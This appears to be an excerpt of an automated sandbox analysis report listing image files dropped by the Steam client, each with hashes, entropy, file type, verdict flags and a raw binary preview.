Preview:	.E.........B...B...B..B..B..webmB...B....S.g.....J...M.t@-M..S...I.fS...M..S...T.kS....M..S...S.kS..J...............................................................................................................................................................................I.f.......C...B@M..Lavf54.2.100WA.Lavf54.2.100s..E.n.....I.p....D..@........T.k...............4..s....."...und..V_VP8...#..{.j................8...........s....."...und..A_VORBIS.................@.p.....bd. c.Oo..V.vorbis........................vorbis-...Xiph.Org libVorbis I 20101101 (Schaufenugget)........encoder=Lavc54.12.100..vorbis%BCV..@..$s.F.s....BP...B.k..BL...2L[.%s.!..B.[(..U..@...Ax...A.!.%=X..'=.!..9x..iA.!..B.!..B.!.E9h..'A....08...8...E9X..'A. ..B....9.!.$5HP..9....,(...0....5(...0...B...I5...gAx..iA.!.$AH...A...FAX...9....A...*9... 4d.......(..(..........@Q..q........Y.........H..H..H.$Y.%Y.%Y..,.,.,.2.....H..PQ.Eq....Y..d....8..X..h...............4CS<G.D.TU.m.m.m.m.m[.e..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\invites.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 46 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3665
Entropy (8bit):	7.903620045768167
Encrypted:	false
SSDEEP:
MD5:	72FF1BCFE23F48E0A0B616E2398D58CF
SHA1:	BD75998BD57C23CCC6426D48505B173097FEDBBD
SHA-256:	323BF61F2D0A6BDD11E2A01847A9A96C01C3A96E9D2B94502B4369DBC4B8D7F6
SHA-512:	E33A3540C691F0A9A83D17B07A3748C5F7B5B53D1C8C6B8BC6C1AD28A6BF6CD699A6BC2037C94910378765B5FB463035C7ACB7DF337BF438CF042455593BC142
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............W.+7....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\items.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 46 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3160
Entropy (8bit):	7.876253452342911
Encrypted:	false
SSDEEP:
MD5:	80A7192BAAA9DB5D83EE6BD3D5412A5E
SHA1:	10D94F2E48701A9712B5CB10256D59A15D466CEA
SHA-256:	D1134D716A056B3B8D30850DF295DB74FADF8DDB708748584EA6C8D1726EAA88
SHA-512:	6BD34FB5191BE3F214BF6942E0790F2D2112441188EBCA5ABBCA465C0EAC2D04FD077F70463E181E71086F01D3938BE6B9AE73B9F95A5B40906A8921045C8B44
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............W.+7....pHYs..........+.....OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\keyboard\a.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	648
Entropy (8bit):	7.279671013038474
Encrypted:	false
SSDEEP:
MD5:	737C21394CFBAC2520CAA5CD42CFC276
SHA1:	529E97FF1918075776B758F38C3F9EAD021E3CB1
SHA-256:	1BC4005A84C23E26A570266ED3DDAD144FBA6D63112E4FDF037AF387C854F7EB
SHA-512:	7DB66D663906FE15881D17F345AD4201E92BECBE09708D1A225D0334BBC98C0F16D40C53F0346CD562BF388981456CF37C643FB699BBA4993FC23130D08C688E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....gAMA......a.....pHYs..........(J.....tEXtSoftware.Paint.NET v3.5.6..Z....IDATx^.=N.0........DIG.DAIM.D.....T.p.N.%...7....n.H...".-[.1#m......~..l,.0..0..0..0..0...C.t..........^d.?.k...O.).0TXO.)...\7_m.....x....S...<7_m..~...<i....M..<i.....1.#d.I.,K\.Z?..Q<U...#cn.. .......<).x#...u.'.IV_....,...`]..d..'...6..&...S.0....DwvO."P.....0kG.J6E..).@...!t.rB.J.Xvz...+"'...X......><c.."........e..i...".8,...vvp.8!#.......2B..c$..e...X.N.`)0.;.,%.:..5..I4E../. ..!_....wY=v.*....X...bN....:;... .9..[?.R..D.....]....v...u..`>H.........+..8j.V..J.H5E...f.&`.&`.&`.&`.&`.....A..bu.......IEND.B`.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\keyboard\b.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	586
Entropy (8bit):	7.211486051495839
Encrypted:	false
SSDEEP:
MD5:	146C6B1A5EA7102E6A475F69D731EC61
SHA1:	A97047862E01C4F44C9FCCC3CEB0F6EF853237B0
SHA-256:	2BF86183F611862F7C2921789AC5838F1CEF778754D337150276C3F0B483625F
SHA-512:	910E288DDAD505D268A594D191F54AC6F130D404D7E7133C56A549963F34ECB8EB5AF901645A6AC4935B0B15997555AB02DB67980D8D07541276B3D0CDBCB8FB
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....gAMA......a.....pHYs..........(J.....tEXtSoftware.Paint.NET v3.5.6..Z....IDATx^.?J.Q..S.....F......x..`.B.....J......x.`-.....K..7........b...7..nF#....................hK...D..l>...^Z.k...Q......[..B....@...B....C6.......K.....w....A...un.~..U.W........fE..p....K. b.!PiBl.@.@B.Ig..Z0g.$..........+..d.D.....F=...W.w.$...4A.7GS6.MM.....9=`...C...p.....i.......[....K. .....A.4WcQ....}.lB...s..7:....KQ....2.ae.E....H.j.D..i..D&...@>.l.....@...`.'...........Lt.lh.B...Ip....]@[.....0.7VOY..)." ." ." ." .".G`..=..x..V....IEND.B`.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\keyboard\c.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	660
Entropy (8bit):	7.348791658952289
Encrypted:	false
SSDEEP:
MD5:	FED1296FFAAE674FAF158950AB5556C1
SHA1:	11B4A047ACCA32C038889A061C263DC23F5E486C
SHA-256:	08BCDA923405B1C43D629FAF94A55B0D7F5DE1B652A1D14CE2838F0121DD4D85
SHA-512:	3E1E8A9ED264BA4AC6509ECB8250138E2E695FF05EBED3BA5E934353F441120344D3F27E301CB513CBDBA260FF83D92AF31D3D4325F917D38A9FE8D03132F9A6
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....gAMA......a.....pHYs..........(J.....tEXtSoftware.Paint.NET v3.5.6..Z....IDATx^.N.1..O 0 H......!!x...@!.<......... ....^. P.AP'q0..d3...-;{..o.ds...\|3....z" ." ." ." ." ....~..X.Z...7{..zbu.#{:...z.r.....d.Y.....q....../T-.~.....~..A...T.O.~.dg.........%...d....$...!..P.h...v....~.`k.......h...P.N...\|$.L.e.p...._.0.^.....D..&..7."..........y......Y..~.X........V..G.5P....BH.!-..y@...l.....ED...3.-....'.d...'....MQ...&O..>.@..7.=R.....<.q.VD.#...B...a...H.TD.Gc..<.... .p..._......mG.......=......s*.....Ol......)e...We..3...2y.1....{V.]....[.GV.f.k9"." ." ." ." ." ......P..5..k....IEND.B`.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\keyboard\d.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	564
Entropy (8bit):	7.039119582640287
Encrypted:	false
SSDEEP:
MD5:	BE1F3A00CD7AEBE5A50E789D984B4C87
SHA1:	75329BFFD87081C870B93A22A8F17E4356A3A007
SHA-256:	CD62F176F8B96B24B8E3EBE206B8D084AC3102D2A34F42D9D5C1EFBB4FA24A50
SHA-512:	2074E7972AA99C882BF4CD1A11016AEF26B26224C595253585C90E011B77721691D2815FD34DC9C2972D8073E8DA34724E4B95D2C84A8FED9AEEA965922AC90D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....gAMA......a.....pHYs..........(J.....tEXtSoftware.Paint.NET v3.5.6..Z....IDATx^.-NCQ.D+Q...H.A....$(VRY.. ...%..+@!q.....9.v..!y.ysg.y...b........................4.z....>..:...\|.......}e.>.n...sVSV...-..wg.?\..._..tx..}.hg......x....c._...@..<\v...?.....6.dL8z..!.}.)A`H...........dL8z..!.}.)A`H...........dL8z..!.}.)A`H...........dL8z..!.}.)A`H...........dL8z..!.}.)A`H...........dL8z..sQ.jF_eL.0.c..^.?w.....PU.w.........nP.p.o...~(.a......_..........SOu..u2.&..@..@..@..@..@..@........Y...p....IEND.B`.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\NxGridButtonRow_right.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 300 x 1 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	1.3674877099961789
Encrypted:	false
SSDEEP:
MD5:	7F28FA5BCD76AA18CF8D53048F263512
SHA1:	F6EB51DD52286BF795E7C54B377B4C0FC15ED7DF
SHA-256:	CCA89FE55447972DEB37C4A27B2477943DE56D4DE914A75F80659AFBD993709B
SHA-512:	01C0416B82C353099A0A8833830F72D7F69D734B91448649F89C1809C63FA9450D96CB3EA30E1E5FC1B01628E48D6746D2CD36B6EEC74B2401885AA27573E5B4
Malicious:	false
Reputation:	unknown
Preview:	............,... ................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................z...w...s...m...j...e...b..._...[...X...T...R...O...J...G...C...@...>...;...8...5...2.../...+...)...$...!..............................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\add_controller_icon.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 73 x 73, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3708
Entropy (8bit):	7.8993699352421665
Encrypted:	false
SSDEEP:
MD5:	B167E604959CB4331544578FB9820A50
SHA1:	B30DC60028ACDAE44EA1BD652CA6F5215904A6EE
SHA-256:	C7FF01BB34548D47289C64F28DF2A65A0067F8E4303D83466CF529AD45A7B284
SHA-512:	49F2AEF7B51453352AC91B72B8A0F46F19852C5A6E7CFE637548EBAF942ADABEBC45792FF8C0B6E36B10063D5771F6CC957398394E4726CE0D73759A53AA08B5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...I...I.....qs......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\alpha_controller.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1574 x 768, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	419841
Entropy (8bit):	7.991141231364061
Encrypted:	true
SSDEEP:
MD5:	B9066160A02A97E84A9229A1848E1720
SHA1:	E11CC8B9AA6AE64DFD0CABFD686785B8675838AD
SHA-256:	3C48E4F8B089583DBFD56D98A0B6BCCDF92A92D633E0FF991593AC916C64C396
SHA-512:	582811840C0509570EE3377B71CE38B8AF2EE9C0A3B177CFE4DBB5E7017C44098C93E0DF60EA2300D9897E5C41282D67F61C97F219FE58C7B359F4A5A055A53F
Malicious:	true
Reputation:	unknown
Preview:	.PNG........IHDR...&............[....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\alpha_controller_callout_backside_left.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1574 x 768, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	401854
Entropy (8bit):	7.991787804914216
Encrypted:	true
SSDEEP:
MD5:	E366271496BCA66E56C97DE8C8655160
SHA1:	057B067B666F9AE9DD66CF0B97C99FF0C9CB97D6
SHA-256:	FFE6DCACF6B52AE763CCABE757FC38238BA3B3DFDA98ADAF2C6ABE7AC50E73B6
SHA-512:	543D1487EA3594B48186E8CBDF50EF93C849D3FBEAEF28C4C678477E451F2A2D5881A9413DB34EC766FF3EA303519500E827BF2DBCE9F0B26283C57A15E0A8AC
Malicious:	true
Reputation:	unknown
Preview:	.PNG........IHDR...&............[....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\alpha_controller_callout_backside_left_d0g.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1574 x 768, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	218293
Entropy (8bit):	7.988282163175323
Encrypted:	false
SSDEEP:
MD5:	3BC19FFCA20ABFE45A62F5911F40FC50
SHA1:	29E996AEC56D238301D70E6622F16DA6BB44E567
SHA-256:	485629A4842918F02A51C8B6CBE843B2AD888EB4FEE92E5AFE563B71F2EEB5CE
SHA-512:	46C0B8150E8ECA6436A28D7B401003A7995812A5B3853476B55EC43C5D76752A5269181E28949DA677A2DFFF61AD6F4374EEFC277D0C1428BADE9EB4AA8D6961
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...&............[....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\alpha_controller_callout_backside_right.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1574 x 768, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	401164
Entropy (8bit):	7.991019828129952
Encrypted:	true
SSDEEP:
MD5:	12565C9FBFA9FC3265DBC724A137ADFE
SHA1:	1DB52344ECB59C695AF5C83742AE69A7A2A3E9F3
SHA-256:	FFE927C617EDA1B053A5A9E733334D1CBB08F4EF275C4B101A1C88709DF6CFB2
SHA-512:	3171E7F8602F75A2A92F65E95609FA4EA5781AADB350314C1B65517C1B0B0F56077FE90C633D6D48E67FC28ECE50DBCE7E1AD77BD6525A986F30473AA8790E6B
Malicious:	true
Reputation:	unknown
Preview:	.PNG........IHDR...&............[....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\alpha_controller_callout_backside_right_d0g.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1574 x 768, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	218696
Entropy (8bit):	7.98785465422415
Encrypted:	false
SSDEEP:
MD5:	3C076EC87D948B6E32D8E1039836E910
SHA1:	8653649C3A6D3FF8EED986AF706571E6EFA7D263
SHA-256:	A7EEC187D66C9017C40AB73B73845408514D0DD5A025CDA44F95202A8410227D
SHA-512:	1F152F643148E6168447DF6BBA4BF70672C57F5FFC08B7BD53603BD2D02DF4FAC599D430C80E25F5BD080650DBC5788A732C38163DA8867A02436D949D8A5C45
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...&............[....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\alpha_controller_callout_button_0.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1574 x 768, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	170246
Entropy (8bit):	7.970590676480413
Encrypted:	false
SSDEEP:
MD5:	C4FCA2836EF3C0DB9BA7B8DB2237F028
SHA1:	479B44D48CEDD83B90128108023456AC5A9295D8
SHA-256:	E9938A855E361918700CE0D44E153FF2532A0814FA48E561BA8A02D8C4789679
SHA-512:	4068888ED408D63E1AF69C51D8513A98D9C9EB47E34486C6707E58E111B143AB726E5851805474B2C1CD1387FDD55FAE0D28ED3C5BF8491B238C658CA1B99FCA
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...&............[....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\alpha_controller_callout_button_0_d0g.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1574 x 768, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	11611
Entropy (8bit):	5.690709403609376
Encrypted:	false
SSDEEP:
MD5:	5FAE0613190A404E4FEA7952E940EA74
SHA1:	94AD05148B31A8ADE032E40496EA4D3AB9A4BDD4
SHA-256:	BE4D8A5706280F9113A5F8112B582B846D7C085C5214498956E860EAFF034D08
SHA-512:	791F68BB11E7460BE272F7A3B234291857E3C96F3B073DA8475404714866A1E433D33E7DA8FDA24A8059325851384085AC459A40BF6951A19D0A3C0CF5E290C9
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...&............[....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\alpha_controller_callout_button_1.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1574 x 768, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	170199
Entropy (8bit):	7.968687196316133
Encrypted:	false
SSDEEP:
MD5:	6548018712132E350687C92BBA017D8F
SHA1:	DF1535840C6FE6D2B4C5EF1E9E9F1460170A8EEE
SHA-256:	A91E0BFE019D23603493856BF5B73D434701FDE1F58B587E6AA93F069286E193
SHA-512:	E24AE3A48EB8A0338314CAFC205508CD69363C6843C893E97D9715013C789E9D698B8C0E5D9876DAD72AFE92220C46F30F3EADE8ACB7B0F508F5310ADBC8FE94
Malicious:	false
Reputation:	unknown
